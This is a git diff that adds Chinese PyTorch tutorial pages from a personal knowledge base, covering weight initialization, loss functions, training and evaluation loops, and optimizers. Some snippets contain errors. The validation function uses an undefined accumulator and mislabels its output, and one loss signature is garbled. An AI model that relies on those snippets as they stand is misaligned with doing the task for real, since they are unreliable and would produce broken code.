isinstance(conv,nn.Conv2d) # 判断conv是否是nn.Conv2d类型
isinstance(linear,nn.Conv2d) # 判断linear是否是nn.Conv2d类型
+
True
False
+

对于不同的类型层,我们就可以设置不同的权值初始化的方法。

+
# 查看随机初始化的conv参数
conv.weight.data
# 查看linear的参数
linear.weight.data
+
tensor([[[[ 0.1174,  0.1071,  0.2977],
[-0.2634, -0.0583, -0.2465],
[ 0.1726, -0.0452, -0.2354]]],
[[[ 0.1382, 0.1853, -0.1515],
[ 0.0561, 0.2798, -0.2488],
[-0.1288, 0.0031, 0.2826]]],
[[[ 0.2655, 0.2566, -0.1276],
[ 0.1905, -0.1308, 0.2933],
[ 0.0557, -0.1880, 0.0669]]]])

tensor([[-0.0089, 0.1186, 0.1213, -0.2569, 0.1381, 0.3125, 0.1118, -0.0063, -0.2330, 0.1956]])
+
# 对conv进行kaiming初始化
torch.nn.init.kaiming_normal_(conv.weight.data)
conv.weight.data
# 对linear进行常数初始化
torch.nn.init.constant_(linear.weight.data,0.3)
linear.weight.data
+
tensor([[[[ 0.3249, -0.0500,  0.6703],
[-0.3561, 0.0946, 0.4380],
[-0.9426, 0.9116, 0.4374]]],
[[[ 0.6727, 0.9885, 0.1635],
[ 0.7218, -1.2841, -0.2970],
[-0.9128, -0.1134, -0.3846]]],
[[[ 0.2018, 0.4668, -0.0937],
[-0.2701, -0.3073, 0.6686],
[-0.3269, -0.0094, 0.3246]]]])
tensor([[0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000,0.3000]])
+

初始化函数的封装​

+

人们常常将各种初始化方法定义为一个initialize_weights()的函数并在模型初始后进行使用。

+
def initialize_weights(model):
for m in model.modules():
# 判断是否属于Conv2d
if isinstance(m, nn.Conv2d):
torch.nn.init.zeros_(m.weight.data)
# 判断是否有偏置
if m.bias is not None:
torch.nn.init.constant_(m.bias.data,0.3)
elif isinstance(m, nn.Linear):
torch.nn.init.normal_(m.weight.data, 0.1)
if m.bias is not None:
torch.nn.init.zeros_(m.bias.data)
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zeros_()
+

这段代码流程是遍历当前模型的每一层,然后判断各层属于什么类型,然后根据不同类型层,设定不同的权值初始化方法。我们可以通过下面的例程进行一个简短的演示:

+
# 模型的定义
class MLP(nn.Module):
# 声明带有模型参数的层,这里声明了两个全连接层
def __init__(self, **kwargs):
# 调用MLP父类Block的构造函数来进行必要的初始化。这样在构造实例时还可以指定其他函数
super(MLP, self).__init__(**kwargs)
self.hidden = nn.Conv2d(1,1,3)
self.act = nn.ReLU()
self.output = nn.Linear(10,1)

# 定义模型的前向计算,即如何根据输入x计算返回所需要的模型输出
def forward(self, x):
o = self.act(self.hidden(x))
return self.output(o)

mlp = MLP()
print(mlp.hidden.weight.data)
print("-------初始化-------")

mlp.apply(initialize_weights)
# 或者initialize_weights(mlp)
print(mlp.hidden.weight.data)
+
tensor([[[[ 0.3069, -0.1865,  0.0182],
[ 0.2475, 0.3330, 0.1352],
[-0.0247, -0.0786, 0.1278]]]])
"-------初始化-------"
tensor([[[[0., 0., 0.],
[0., 0., 0.],
[0., 0., 0.]]]])
+

注意: +我们在初始化时,最好不要将模型的参数初始化为0,因为这样会导致梯度消失,从而影响模型的训练效果。因此,我们在初始化时,可以使用其他初始化方法或者将模型初始化为一个很小的值,如0.01,0.1等。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.6 损失函数/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.6 损失函数/index.html new file mode 100644 index 0000000..13e57b6 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.6 损失函数/index.html @@ -0,0 +1,307 @@ + + + + + +3.6 损失函数.md | wjlin0 + + + + + + + +

3.6 损失函数.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.6 损失函数

+

在深度学习广为使用的今天,我们可以在脑海里清晰的知道,一个模型想要达到很好的效果需要学习,也就是我们常说的训练。一个好的训练离不开优质的负反馈,这里的损失函数就是模型的负反馈。

+

+

所以在PyTorch中,损失函数是必不可少的。它是数据输入到模型当中,产生的结果与真实标签的评价指标,我们的模型可以按照损失函数的目标来做出改进。

+

下面我们将开始探索PyTorch的所拥有的损失函数。这里将列出PyTorch中常用的损失函数(一般通过torch.nn调用),并详细介绍每个损失函数的功能介绍、数学公式和调用代码。当然,PyTorch的损失函数还远不止这些,在解决实际问题的过程中需要进一步探索、借鉴现有工作,或者设计自己的损失函数。

+

经过本节的学习,你将收获:

+
    +
  • 在深度学习中常见的损失函数及其定义方式
  • +
  • PyTorch中损失函数的调用
  • +
+

3.5.1 二分类交叉熵损失函数​

+
torch.nn.BCELoss(weight=None, size_average=None, reduce=None, reduction='mean')
+

功能:计算二分类任务时的交叉熵(Cross Entropy)函数。在二分类中,label是{0,1}。对于进入交叉熵函数的input为概率分布的形式。一般来说,input为sigmoid激活层的输出,或者softmax的输出。

+

主要参数:

+

weight:每个类别的loss设置权值

+

size_average:数据为bool,为True时,返回的loss为平均值;为False时,返回的各样本的loss之和。

+

reduce:数据类型为bool,为True时,loss的返回是标量。

+

计算公式如下: +$ +\ell(x, y)=\left{\begin{array}{ll} +\operatorname{mean}(L), & \text { if reduction }=\text { 'mean' } \ +\operatorname{sum}(L), & \text { if reduction }=\text { 'sum' } +\end{array}\right. +$

+
m = nn.Sigmoid()
loss = nn.BCELoss()
input = torch.randn(3, requires_grad=True)
target = torch.empty(3).random_(2)
output = loss(m(input), target)
output.backward()
+
print('BCELoss损失函数的计算结果为',output)
+
BCELoss损失函数的计算结果为 tensor(0.5732, grad_fn=<BinaryCrossEntropyBackward>)
+

3.5.2 交叉熵损失函数​

+
torch.nn.CrossEntropyLoss(weight=None, size_average=None, ignore_index=-100, reduce=None, reduction='mean')
+

功能:计算交叉熵函数

+

主要参数:

+

weight:每个类别的loss设置权值。

+

size_average:数据为bool,为True时,返回的loss为平均值;为False时,返回的各样本的loss之和。

+

ignore_index:忽略某个类的损失函数。

+

reduce:数据类型为bool,为True时,loss的返回是标量。

+

计算公式如下: +$ +\operatorname{loss}(x, \text { class })=-\log \left(\frac{\exp (x[\text { class }])}{\sum_{j} \exp (x[j])}\right)=-x[\text { class }]+\log \left(\sum_{j} \exp (x[j])\right) +$

+
loss = nn.CrossEntropyLoss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.empty(3, dtype=torch.long).random_(5)
output = loss(input, target)
output.backward()
+
print(output)
+
tensor(2.0115, grad_fn=<NllLossBackward>)
+

3.5.3 L1损失函数​

+
torch.nn.L1Loss(size_average=None, reduce=None, reduction='mean')
+

功能: 计算输出y和真实标签target之间的差值的绝对值。

+

我们需要知道的是,reduction参数决定了计算模式。有三种计算模式可选:none:逐个元素计算。 +sum:所有元素求和,返回标量。 +mean:加权平均,返回标量。 +如果选择none,那么返回的结果是和输入元素相同尺寸的。默认计算方式是求平均。

+

计算公式如下: +$ +L_{n} = |x_{n}-y_{n}| +$

+
loss = nn.L1Loss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.randn(3, 5)
output = loss(input, target)
output.backward()
+
print('L1损失函数的计算结果为',output)
+
L1损失函数的计算结果为 tensor(1.5729, grad_fn=<L1LossBackward>)
+

3.5.4 MSE损失函数​

+
torch.nn.MSELoss(size_average=None, reduce=None, reduction='mean')
+

功能: 计算输出y和真实标签target之差的平方。

+

和L1Loss一样,MSELoss损失函数中,reduction参数决定了计算模式。有三种计算模式可选:none:逐个元素计算。 +sum:所有元素求和,返回标量。默认计算方式是求平均。

+

计算公式如下:

+

$ +l_{n}=\left(x_{n}-y_{n}\right)^{2} +$

+
loss = nn.MSELoss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.randn(3, 5)
output = loss(input, target)
output.backward()
+
print('MSE损失函数的计算结果为',output)
+
MSE损失函数的计算结果为 tensor(1.6968, grad_fn=<MseLossBackward>)
+

3.5.5 平滑L1 (Smooth L1)损失函数​

+
torch.nn.SmoothL1Loss(size_average=None, reduce=None, reduction='mean', beta=1.0)
+

功能: L1的平滑输出,其功能是减轻离群点带来的影响

+

reduction参数决定了计算模式。有三种计算模式可选:none:逐个元素计算。 +sum:所有元素求和,返回标量。默认计算方式是求平均。

+

提醒: 之后的损失函数中,关于reduction 这个参数依旧会存在。所以,之后就不再单独说明。

+

计算公式如下: +$ +\operatorname{loss}(x, y)=\frac{1}{n} \sum_{i=1}^{n} z_{i} +$ +其中, +$ +z_{i}=\left{\begin{array}{ll} +0.5\left(x_{i}-y_{i}\right)^{2}, & \text { if }\left|x_{i}-y_{i}\right|<1 \ +\left|x_{i}-y_{i}\right|-0.5, & \text { otherwise } +\end{array}\right. +$

+
loss = nn.SmoothL1Loss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.randn(3, 5)
output = loss(input, target)
output.backward()
+
print('SmoothL1Loss损失函数的计算结果为',output)
+
SmoothL1Loss损失函数的计算结果为 tensor(0.7808, grad_fn=<SmoothL1LossBackward>)
+

平滑L1与L1的对比

+

这里我们通过可视化两种损失函数曲线来对比平滑L1和L1两种损失函数的区别。

+
inputs = torch.linspace(-10, 10, steps=5000)
target = torch.zeros_like(inputs)

loss_f_smooth = nn.SmoothL1Loss(reduction='none')
loss_smooth = loss_f_smooth(inputs, target)
loss_f_l1 = nn.L1Loss(reduction='none')
loss_l1 = loss_f_l1(inputs,target)

plt.plot(inputs.numpy(), loss_smooth.numpy(), label='Smooth L1 Loss')
plt.plot(inputs.numpy(), loss_l1, label='L1 loss')
plt.xlabel('x_i - y_i')
plt.ylabel('loss value')
plt.legend()
plt.grid()
plt.show()
+

png

+

可以看出,对于smoothL1来说,在 0 这个尖端处,过渡更为平滑。

+

3.5.6 目标泊松分布的负对数似然损失​

+
torch.nn.PoissonNLLLoss(log_input=True, full=False, size_average=None, eps=1e-08, reduce=None, reduction='mean')
+

功能: 泊松分布的负对数似然损失函数

+

主要参数:

+

log_input:输入是否为对数形式,决定计算公式。

+

full:计算所有 loss,默认为 False。

+

eps:修正项,避免 input 为 0 时,log(input) 为 nan 的情况。

+

数学公式:

+
    +
  • +

    当参数log_input=True: +$ +\operatorname{loss}\left(x_{n}, y_{n}\right)=e^{x_{n}}-x_{n} \cdot y_{n} +$

    +
  • +
  • +

    当参数log_input=False:

    +

    $ +\operatorname{loss}\left(x_{n}, y_{n}\right)=x_{n}-y_{n} \cdot \log \left(x_{n}+\text { eps }\right) +$

    +
  • +
+
loss = nn.PoissonNLLLoss()
log_input = torch.randn(5, 2, requires_grad=True)
target = torch.randn(5, 2)
output = loss(log_input, target)
output.backward()
+
print('PoissonNLLLoss损失函数的计算结果为',output)
+
PoissonNLLLoss损失函数的计算结果为 tensor(0.7358, grad_fn=<MeanBackward0>)
+

3.5.7 KL散度​

+
torch.nn.KLDivLoss(size_average=None, reduce=None, reduction='mean', log_target=False)
+

功能: 计算KL散度,也就是计算相对熵。用于连续分布的距离度量,并且对离散采用的连续输出空间分布进行回归通常很有用。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean/batchmean。

+
none:逐个元素计算。

sum:所有元素求和,返回标量。

mean:加权平均,返回标量。

batchmean:batchsize 维度求平均值。
+

计算公式:

+

$ +\begin{aligned} +D_{\mathrm{KL}}(P, Q)=\mathrm{E}{X \sim P}\left[\log \frac{P(X)}{Q(X)}\right] &=\mathrm{E}{X \sim P}[\log P(X)-\log Q(X)] \ +&=\sum_{i=1}^{n} P\left(x_{i}\right)\left(\log P\left(x_{i}\right)-\log Q\left(x_{i}\right)\right) +\end{aligned} +$

+
inputs = torch.tensor([[0.5, 0.3, 0.2], [0.2, 0.3, 0.5]])
target = torch.tensor([[0.9, 0.05, 0.05], [0.1, 0.7, 0.2]], dtype=torch.float)
loss = nn.KLDivLoss()
output = loss(inputs,target)

print('KLDivLoss损失函数的计算结果为',output)
+
KLDivLoss损失函数的计算结果为 tensor(-0.3335)
+

3.5.8 MarginRankingLoss​

+
torch.nn.MarginRankingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')
+

功能: 计算两个向量之间的相似度,用于排序任务。该方法用于计算两组数据之间的差异。

+

主要参数:

+

margin:边界值,$x_{1}$ 与$x_{2}$ 之间的差异值。

+

reduction:计算模式,可为 none/sum/mean。

+

计算公式:

+

$ +\operatorname{loss}(x 1, x 2, y)=\max (0,-y *(x 1-x 2)+\operatorname{margin}) +$

+
loss = nn.MarginRankingLoss()
input1 = torch.randn(3, requires_grad=True)
input2 = torch.randn(3, requires_grad=True)
target = torch.randn(3).sign()
output = loss(input1, input2, target)
output.backward()

print('MarginRankingLoss损失函数的计算结果为',output)
+
MarginRankingLoss损失函数的计算结果为 tensor(0.7740, grad_fn=<MeanBackward0>)
+

3.5.9 多标签边界损失函数​

+
torch.nn.MultiLabelMarginLoss(size_average=None, reduce=None, reduction='mean')
+

功能: 对于多标签分类问题计算损失函数。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

计算公式: +$ +\operatorname{loss}(x, y)=\sum_{i j} \frac{\max (0,1-x[y[j]]-x[i])}{x \cdot \operatorname{size}(0)} +$

+

$ +\begin{array}{l} +\text { 其中, } i=0, \ldots, x \cdot \operatorname{size}(0), j=0, \ldots, y \cdot \operatorname{size}(0), \text { 对于所有的 } i \text { 和 } j \text {, 都有 } y[j] \geq 0 \text { 并且 }\ +i \neq y[j] +\end{array} +$

+
loss = nn.MultiLabelMarginLoss()
x = torch.FloatTensor([[0.9, 0.2, 0.4, 0.8]])
# for target y, only consider labels 3 and 0, not after label -1
y = torch.LongTensor([[3, 0, -1, 1]])# 真实的分类是,第3类和第0类
output = loss(x, y)

print('MultiLabelMarginLoss损失函数的计算结果为',output)
+
MultiLabelMarginLoss损失函数的计算结果为 tensor(0.4500)
+

3.5.10 二分类损失函数​

+
torch.nn.SoftMarginLoss(size_average=None, reduce=None, reduction='mean')torch.nn.(size_average=None, reduce=None, reduction='mean')
+

功能: 计算二分类的 logistic 损失。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

计算公式:

+

$ +\operatorname{loss}(x, y)=\sum_{i} \frac{\log (1+\exp (-y[i] \cdot x[i]))}{x \cdot \operatorname{nelement}()} +$

+

$ +
+\text { 其中, } x . \text { nelement() 为输入 } x \text { 中的样本个数。注意这里 } y \text { 也有 } 1 \text { 和 }-1 \text { 两种模式。 } +
+$

+
inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]])  # 两个样本,两个神经元
target = torch.tensor([[-1, 1], [1, -1]], dtype=torch.float) # 该 loss 为逐个神经元计算,需要为每个神经元单独设置标签

loss_f = nn.SoftMarginLoss()
output = loss_f(inputs, target)

print('SoftMarginLoss损失函数的计算结果为',output)
+
SoftMarginLoss损失函数的计算结果为 tensor(0.6764)
+

3.5.11 多分类的折页损失​

+
torch.nn.MultiMarginLoss(p=1, margin=1.0, weight=None, size_average=None, reduce=None, reduction='mean')
+

功能: 计算多分类的折页损失

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

p:可选 1 或 2。

+

weight:各类别的 loss 设置权值。

+

margin:边界值

+

计算公式:

+

$ +\operatorname{loss}(x, y)=\frac{\sum_{i} \max (0, \operatorname{margin}-x[y]+x[i])^{p}}{x \cdot \operatorname{size}(0)} +$

+

$ +\begin{array}{l} +\text { 其中, } x \in{0, \ldots, x \cdot \operatorname{size}(0)-1}, y \in{0, \ldots, y \cdot \operatorname{size}(0)-1} \text {, 并且对于所有的 } i \text { 和 } j \text {, }\ +\text { 都有 } 0 \leq y[j] \leq x \cdot \operatorname{size}(0)-1, \text { 以及 } i \neq y[j] \text { 。 } +\end{array} +$

+
inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]]) 
target = torch.tensor([0, 1], dtype=torch.long)

loss_f = nn.MultiMarginLoss()
output = loss_f(inputs, target)

print('MultiMarginLoss损失函数的计算结果为',output)
+
MultiMarginLoss损失函数的计算结果为 tensor(0.6000)
+

3.5.12 三元组损失​

+
torch.nn.TripletMarginLoss(margin=1.0, p=2.0, eps=1e-06, swap=False, size_average=None, reduce=None, reduction='mean')
+

功能: 计算三元组损失。

+

三元组: 这是一种数据的存储或者使用格式。<实体1,关系,实体2>。在项目中,也可以表示为< anchor, positive examples , negative examples>

+

在这个损失函数中,我们希望去anchor的距离更接近positive examples,而远离negative examples

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

p:可选 1 或 2。

+

margin:边界值

+

计算公式:

+

$ +L(a, p, n)=\max \left{d\left(a_{i}, p_{i}\right)-d\left(a_{i}, n_{i}\right)+\operatorname{margin}, 0\right} +$

+

$ +\text { 其中, } d\left(x_{i}, y_{i}\right)=\left|\mathbf{x}{i}-\mathbf{y}{i}\right|_{\text {・ }} +$

+
triplet_loss = nn.TripletMarginLoss(margin=1.0, p=2)
anchor = torch.randn(100, 128, requires_grad=True)
positive = torch.randn(100, 128, requires_grad=True)
negative = torch.randn(100, 128, requires_grad=True)
output = triplet_loss(anchor, positive, negative)
output.backward()
print('TripletMarginLoss损失函数的计算结果为',output)
+
TripletMarginLoss损失函数的计算结果为 tensor(1.1667, grad_fn=<MeanBackward0>)
+

3.5.13 HingEmbeddingLoss​

+
torch.nn.HingeEmbeddingLoss(margin=1.0, size_average=None, reduce=None, reduction='mean')
+

功能: 对输出的embedding结果做Hing损失计算

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

margin:边界值

+

计算公式:

+

$ +l_{n}=\left{\begin{array}{ll} +x_{n}, & \text { if } y_{n}=1 \ +\max \left{0, \Delta-x_{n}\right}, & \text { if } y_{n}=-1 +\end{array}\right. +$ +注意事项: 输入x应为两个输入之差的绝对值。

+

可以这样理解,让个输出的是正例yn=1,那么loss就是x,如果输出的是负例y=-1,那么输出的loss就是要做一个比较。

+
loss_f = nn.HingeEmbeddingLoss()
inputs = torch.tensor([[1., 0.8, 0.5]])
target = torch.tensor([[1, 1, -1]])
output = loss_f(inputs,target)

print('HingEmbeddingLoss损失函数的计算结果为',output)
+
HingEmbeddingLoss损失函数的计算结果为 tensor(0.7667)
+

3.5.14 余弦相似度​

+
torch.nn.CosineEmbeddingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')
+

功能: 对两个向量做余弦相似度

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

margin:可取值[-1,1] ,推荐为[0,0.5] 。

+

计算公式:

+

$ +\operatorname{loss}(x, y)=\left{\begin{array}{ll} +1-\cos \left(x_{1}, x_{2}\right), & \text { if } y=1 \ +\max \left{0, \cos \left(x_{1}, x_{2}\right)-\text { margin }\right}, & \text { if } y=-1 +\end{array}\right. +$ +其中, +$ +\cos (\theta)=\frac{A \cdot B}{|A||B|}=\frac{\sum_{i=1}^{n} A_{i} \times B_{i}}{\sqrt{\sum_{i=1}^{n}\left(A_{i}\right)^{2}} \times \sqrt{\sum_{i=1}^{n}\left(B_{i}\right)^{2}}} +$

+

这个损失函数应该是最广为人知的。对于两个向量,做余弦相似度。将余弦相似度作为一个距离的计算方式,如果两个向量的距离近,则损失函数值小,反之亦然。

+
loss_f = nn.CosineEmbeddingLoss()
inputs_1 = torch.tensor([[0.3, 0.5, 0.7], [0.3, 0.5, 0.7]])
inputs_2 = torch.tensor([[0.1, 0.3, 0.5], [0.1, 0.3, 0.5]])
target = torch.tensor([1, -1], dtype=torch.float)
output = loss_f(inputs_1,inputs_2,target)

print('CosineEmbeddingLoss损失函数的计算结果为',output)
+
CosineEmbeddingLoss损失函数的计算结果为 tensor(0.5000)
+

3.5.15 CTC损失函数​

+
torch.nn.CTCLoss(blank=0, reduction='mean', zero_infinity=False)
+

功能: 用于解决时序类数据的分类

+

计算连续时间序列和目标序列之间的损失。CTCLoss对输入和目标的可能排列的概率进行求和,产生一个损失值,这个损失值对每个输入节点来说是可分的。输入与目标的对齐方式被假定为 "多对一",这就限制了目标序列的长度,使其必须是≤输入长度。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

blank:blank label。

+

zero_infinity:无穷大的值或梯度值为

+
# Target are to be padded
T = 50 # Input sequence length
C = 20 # Number of classes (including blank)
N = 16 # Batch size
S = 30 # Target sequence length of longest target in batch (padding length)
S_min = 10 # Minimum target length, for demonstration purposes

# Initialize random batch of input vectors, for *size = (T,N,C)
input = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()

# Initialize random batch of targets (0 = blank, 1:C = classes)
target = torch.randint(low=1, high=C, size=(N, S), dtype=torch.long)

input_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)
target_lengths = torch.randint(low=S_min, high=S, size=(N,), dtype=torch.long)
ctc_loss = nn.CTCLoss()
loss = ctc_loss(input, target, input_lengths, target_lengths)
loss.backward()


# Target are to be un-padded
T = 50 # Input sequence length
C = 20 # Number of classes (including blank)
N = 16 # Batch size

# Initialize random batch of input vectors, for *size = (T,N,C)
input = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()
input_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)

# Initialize random batch of targets (0 = blank, 1:C = classes)
target_lengths = torch.randint(low=1, high=T, size=(N,), dtype=torch.long)
target = torch.randint(low=1, high=C, size=(sum(target_lengths),), dtype=torch.long)
ctc_loss = nn.CTCLoss()
loss = ctc_loss(input, target, input_lengths, target_lengths)
loss.backward()

print('CTCLoss损失函数的计算结果为',loss)
+
CTCLoss损失函数的计算结果为 tensor(16.0885, grad_fn=<MeanBackward0>)
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.7 训练与评估/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.7 训练与评估/index.html new file mode 100644 index 0000000..b3e6cae --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.7 训练与评估/index.html @@ -0,0 +1,82 @@ + + + + + +3.7 训练与评估.md | wjlin0 + + + + + + + +

3.7 训练与评估.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.7 训练和评估

+

我们在完成了模型的训练后,需要在测试集/验证集上完成模型的验证,以确保我们的模型具有泛化能力、不会出现过拟合等问题。在PyTorch中,训练和评估的流程是一致的,只是在训练过程中需要将模型的参数进行更新,而在评估过程中则不需要更新参数。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch的训练/评估模式的开启
  • +
  • 完整的训练/评估流程
  • +
+

完成了上述设定后就可以加载数据开始训练模型了。首先应该设置模型的状态:如果是训练状态,那么模型的参数应该支持反向传播的修改;如果是验证/测试状态,则不应该修改模型参数。在PyTorch中,模型的状态设置非常简便,如下的两个操作二选一即可:

+
model.train()   # 训练状态
model.eval() # 验证/测试状态
+

我们前面在DataLoader构建完成后介绍了如何从中读取数据,在训练过程中使用类似的操作即可,区别在于此时要用for循环读取DataLoader中的全部数据。

+
for data, label in train_loader:
+

之后将数据放到GPU上用于后续计算,此处以.cuda()为例

+
data, label = data.cuda(), label.cuda()
+

开始用当前批次数据做训练时,应当先将优化器的梯度置零:

+
optimizer.zero_grad()
+

之后将data送入模型中训练:

+
output = model(data)
+

根据预先定义的criterion计算损失函数:

+
loss = criterion(output, label)
+

将loss反向传播回网络:

+
loss.backward()
+

使用优化器更新模型参数:

+
optimizer.step()
+

这样一个训练过程就完成了,后续还可以计算模型准确率等指标,这部分会在下一节的图像分类实战中加以介绍。

+

验证/测试的流程基本与训练过程一致,不同点在于:

+
    +
  • 需要预先设置torch.no_grad,以及将model调至eval模式
  • +
  • 不需要将优化器的梯度置零
  • +
  • 不需要将loss反向回传到网络
  • +
  • 不需要更新optimizer
  • +
+

一个完整的图像分类的训练过程如下所示:

+
def train(epoch):
model.train()
train_loss = 0
for data, label in train_loader:
data, label = data.cuda(), label.cuda()
optimizer.zero_grad()
output = model(data)
loss = criterion(output, label)
loss.backward()
optimizer.step()
train_loss += loss.item()*data.size(0)
train_loss = train_loss/len(train_loader.dataset)
print('Epoch: {} \tTraining Loss: {:.6f}'.format(epoch, train_loss))

+

对应的,一个完整图像分类的验证过程如下所示:

+
def val(epoch):       
model.eval()
val_loss = 0
with torch.no_grad():
for data, label in val_loader:
data, label = data.cuda(), label.cuda()
output = model(data)
preds = torch.argmax(output, 1)
loss = criterion(output, label)
val_loss += loss.item()*data.size(0)
running_accu += torch.sum(preds == label.data)
val_loss = val_loss/len(val_loader.dataset)
print('Epoch: {} \tTraining Loss: {:.6f}'.format(epoch, val_loss))
+

对于图像分类任务,我们还可以使用sklearn.metrics中的classification_report函数来计算模型的准确率、召回率、F1值等指标,如下所示:

+
from sklearn.metrics import classification_report
"""
将下方代码的labels和preds替换为模型预测出来的所有label和preds,
target_names替换为类别名称,
既可得到模型的分类报告
"""
print(classification_report(labels.cpu(), preds.cpu(), target_names=class_names))
+

除此之外,我们还可以使用torcheval或torchmetric来对模型进行评估。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.8 可视化/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.8 可视化/index.html new file mode 100644 index 0000000..d3738bf --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.8 可视化/index.html @@ -0,0 +1,46 @@ + + + + + +3.8 可视化.md | wjlin0 + + + + + + + +

3.8 可视化.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:14
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.8 可视化

+

在PyTorch深度学习中,可视化是一个可选项,指的是某些任务在训练完成后,需要对一些必要的内容进行可视化,比如分类的ROC曲线,卷积网络中的卷积核,以及训练/验证过程的损失函数曲线等等。具体的可视化方法可以参考第七章。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.9 优化器/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.9 优化器/index.html new file mode 100644 index 0000000..43a224b --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.9 优化器/index.html @@ -0,0 +1,146 @@ + + + + + +3.9 优化器.md | wjlin0 + + + + + + + +

3.9 优化器.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:14
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.9 PyTorch优化器

+

深度学习的目标是通过不断改变网络参数,使得参数能够对输入做各种非线性变换拟合输出,本质上就是一个函数去寻找最优解,只不过这个最优解是一个矩阵,而如何快速求得这个最优解是深度学习研究的一个重点,以经典的resnet-50为例,它大约有2000万个系数需要进行计算,那么我们如何计算出这么多系数,有以下两种方法:

+
    +
  1. 第一种是直接暴力穷举一遍参数,这种方法从理论上行得通,但是实施上可能性基本为0,因为参数量过于庞大。
  2. +
  3. 为了使求解参数过程更快,人们提出了第二种办法,即BP+优化器逼近求解。
  4. +
+

因此,优化器是根据网络反向传播的梯度信息来更新网络的参数,以起到降低loss函数计算值,使得模型输出更加接近真实标签。

+

经过本节的学习,你将收获:

+
    +
  • 了解PyTorch的优化器
  • +
  • 学会使用PyTorch提供的优化器进行优化
  • +
  • 优化器的属性和构造
  • +
  • 优化器的对比
  • +
+

3.9.1 PyTorch提供的优化器​

+

PyTorch很人性化的给我们提供了一个优化器的库torch.optim,在这里面提供了多种优化器。

+
    +
  • torch.optim.SGD
  • +
  • torch.optim.ASGD
  • +
  • torch.optim.Adadelta
  • +
  • torch.optim.Adagrad
  • +
  • torch.optim.Adam
  • +
  • torch.optim.AdamW
  • +
  • torch.optim.Adamax
  • +
  • torch.optim.RAdam
  • +
  • torch.optim.NAdam
  • +
  • torch.optim.SparseAdam
  • +
  • torch.optim.LBFGS
  • +
  • torch.optim.RMSprop
  • +
  • torch.optim.Rprop
  • +
+

而以上这些优化算法均继承于Optimizer,下面我们先来看下所有优化器的基类Optimizer。定义如下:

+
class Optimizer(object):
def __init__(self, params, defaults):
self.defaults = defaults
self.state = defaultdict(dict)
self.param_groups = []
+

Optimizer有三个属性:

+
    +
  • defaults:存储的是优化器的超参数,例子如下:
  • +
+
{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}
+
    +
  • state:参数的缓存,例子如下:
  • +
+
defaultdict(<class 'dict'>, {tensor([[ 0.3864, -0.0131],
[-0.1911, -0.4511]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}})
+
    +
  • param_groups:管理的参数组,是一个list,其中每个元素是一个字典,顺序是params,lr,momentum,dampening,weight_decay,nesterov,例子如下:
  • +
+
[{'params': [tensor([[-0.1022, -1.6890],[-1.5116, -1.7846]], requires_grad=True)], 'lr': 1, 'momentum': 0, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]
+

Optimizer还有以下的方法:

+
    +
  • zero_grad():清空所管理参数的梯度,PyTorch的特性是张量的梯度不自动清零,因此每次反向传播后都需要清空梯度。
  • +
+
def zero_grad(self, set_to_none: bool = False):
for group in self.param_groups:
for p in group['params']:
if p.grad is not None: #梯度不为空
if set_to_none:
p.grad = None
else:
if p.grad.grad_fn is not None:
p.grad.detach_()
else:
p.grad.requires_grad_(False)
p.grad.zero_()# 梯度设置为0
+
    +
  • step():执行一步梯度更新,参数更新
  • +
+
def step(self, closure): 
raise NotImplementedError
+
    +
  • add_param_group():添加参数组
  • +
+
def add_param_group(self, param_group):
assert isinstance(param_group, dict), "param group must be a dict"
# 检查类型是否为tensor
params = param_group['params']
if isinstance(params, torch.Tensor):
param_group['params'] = [params]
elif isinstance(params, set):
raise TypeError('optimizer parameters need to be organized in ordered collections, but '
